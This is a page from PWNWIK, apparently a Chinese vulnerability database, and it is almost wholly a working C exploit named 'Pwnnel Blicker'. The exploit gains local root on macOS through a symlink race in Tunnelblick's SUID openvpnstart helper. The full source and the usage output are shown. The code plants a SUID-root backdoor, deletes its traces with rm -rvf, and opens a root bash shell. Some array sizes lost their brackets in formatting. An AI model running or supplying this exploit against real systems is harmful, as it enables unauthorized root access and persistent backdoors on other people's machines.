免费、自由、人人可编辑的漏洞库
,
EXP
/* * ==== Pwnnel Blicker ==== * = = * = zx2c4 = * = = * ======================== * * Tunnel Blick, a widely used OpenVPN manager for OSX * comes with a nice SUID executable that has more holes * than you care to count. It's a treasure chest of local * roots. I picked one that looked interesting, and here * we have Pwnnel Blicker. * * Tunnel Blick will run any executable that has 744 * permissions and is owned by root:root. Probably we * could find a way to exploit an already existing 744 * executable, but this would be too easy. So instead, we * take advantage of a race condition between checking the * file permissions on the executable and actually running * it. * * Usage: * $ ./a.out * + Creating vulnerable directory. * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources * + Writing pid and executing vulnerable program. * + Running toggler. * + Making backdoor. * + Cleaning up. * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources/../../..//pwnage.tblk/Contents/Resources/exploit.pid * + Complete. Run this again to get root. * Killed: 9 * * $ ./a.out * + Getting root. * # whoami * root * */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <sys/stat.h> int main(int argc, char *argv) { char dir512; char script512; char command512; char pid_file512; char path512; char self512; uint32_t size; pid_t pid, pid2; FILE *file; snprintf(dir, sizeof(dir), "%s/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources", getenv("HOME")); snprintf(pid_file, sizeof(pid_file), "%s/exploit.pid", dir); /* Oh god, do I miss /proc/self/exe. */ if (getenv("PWNPATH")) strcpy(self, getenv("PWNPATH")); else { size = sizeof(path); _NSGetExecutablePath(path, &size); realpath(path, self); setenv("PWNPATH", self, 1); } if (!geteuid()) { file = fopen(pid_file, "r"); if (file) { printf("+ Making backdoor.\n"); chown(self, 0, 0); chmod(self, S_ISUID | S_IXOTH); printf("+ Cleaning up.\n"); fscanf(file, "%d %d", &pid, &pid2); fclose(file); snprintf(command, sizeof(command), "rm -rvf '%s/../../../'", dir); system(command); printf("+ Complete. Run this again to get root.\n"); kill(pid2, 9); kill(pid, 9); return 0; } printf("+ Getting root.\n"); setuid(0); setgid(0); execl("/bin/bash", "bash", NULL); } printf("+ Creating vulnerable directory.\n"); snprintf(command, sizeof(command), "mkdir -p -v '%s'", dir); system(command); pid = fork(); if (!pid) { printf("+ Running toggler.\n"); snprintf(script, sizeof(script), "%s/connected.sh", dir); for (;;) { unlink(script); symlink("/Applications/Tunnelblick.app/Contents/Resources/client.down.tunnelblick.sh", script); unlink(script); symlink(self, script); } } else { printf("+ Writing pid and executing vulnerable program.\n"); file = fopen(pid_file, "w"); fprintf(file, "%d %d", pid, getpid()); fclose(file); for (;;) { if (fork()) wait(NULL); else { close(0); close(2); execl("/Applications/Tunnelblick.app/Contents/Resources/openvpnstart", "openvpnstart", "connected", "pwnage.tblk", "0", NULL); } } } return 0; }
PWNWIK.COM==免费、自由、人人可编辑的漏洞库